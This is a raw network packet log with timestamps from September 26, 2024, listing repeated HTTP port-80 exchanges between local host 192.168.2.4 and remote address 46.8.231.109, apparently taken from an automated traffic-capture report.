Sep 26, 2024 19:05:17.873600006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.873620987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874308109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874320030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874339104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874366045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874381065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874434948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874449015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874469042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874476910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874479055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874490976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874500990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874511957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874535084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874747992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874759912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874778032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874790907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874824047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874861002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874902010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.874965906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874977112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.874996901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875005007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875008106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875021935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875030041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875040054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875041008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875061989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875063896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875087976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875099897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875479937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875492096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875510931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875520945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875538111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875543118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875549078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875567913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875571012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875579119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.875595093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875612020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.875999928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876012087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876029968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876048088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876068115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876146078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876159906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876178026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876184940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876192093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876202106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876204967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876210928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876214981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876215935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876235008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876249075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876257896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876266956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876279116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876290083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876298904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876307011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876333952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876863956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876873970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876892090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876902103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876908064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876920938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876931906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876933098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876950026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876957893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.876960993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876980066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.876981020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877000093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877022982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877470016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877480984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877500057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877510071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877511024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877521992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877530098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877541065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877546072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877559900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877568007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877569914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877590895 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877592087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877603054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877613068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877623081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877633095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877645969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877652884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877656937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877664089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.877684116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.877701044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878448009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878460884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878480911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878492117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878494024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878510952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878519058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878521919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878541946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878544092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878555059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878560066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878575087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878585100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878586054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878601074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878611088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878619909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878623962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878631115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878648043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878650904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878664970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878675938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878685951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.878700018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.878727913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879364014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879376888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879415035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879424095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879425049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879436016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879456043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879462957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879467010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879476070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879487038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879497051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879497051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879511118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879517078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879528046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879530907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879548073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879556894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879564047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.879581928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.879607916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959469080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959494114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959522009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959525108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959534883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959542036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959557056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959562063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959570885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959582090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959599018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959600925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959616899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959636927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959672928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959712029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959719896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959733009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959753990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959758997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959767103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959777117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959789991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959809065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.959983110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.959996939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960020065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960026026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960036993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960043907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960058928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960062027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960071087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960073948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960094929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960113049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960359097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960371971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960393906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960397959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960406065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960410118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960427046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.960432053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960449934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.960467100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961409092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961457968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961487055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961500883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961524963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961538076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961683035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961697102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961719990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961724997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961733103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961740017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961752892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961759090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961777925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961795092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.961972952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.961985111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962007046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962014914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962018967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962033987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962042093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962049007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962054014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962069988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962076902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962090015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962100029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962105989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962121964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962409973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962423086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962444067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962450981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962485075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962541103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962553024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962582111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962600946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962629080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962641954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962663889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962673903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962677002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962692976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962697029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962711096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962716103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.962737083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.962762117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963113070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963126898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963148117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963154078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963160038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963174105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963180065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963188887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963196993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963210106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963221073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963227987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963247061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963264942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963658094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963670969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963690996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963702917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963727951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963728905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963738918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963745117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963762045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963771105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963773966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963797092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963799953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963808060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963824034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963829994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963845015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963851929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963864088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963875055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963876963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963896990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.963901997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963924885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.963948011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964576006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964589119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964608908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964616060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964622974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964633942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964646101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964647055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964658976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964668989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964680910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964682102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964696884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964704037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964711905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964718103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964731932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964740038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964750051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964759111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964771032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964777946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964783907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964792967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964806080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964814901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964817047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.964832067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.964852095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965503931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965517044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965538025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965547085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965549946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965568066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965569973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965584040 CEST	49735	80	192.168.2.4	46.8.231.109
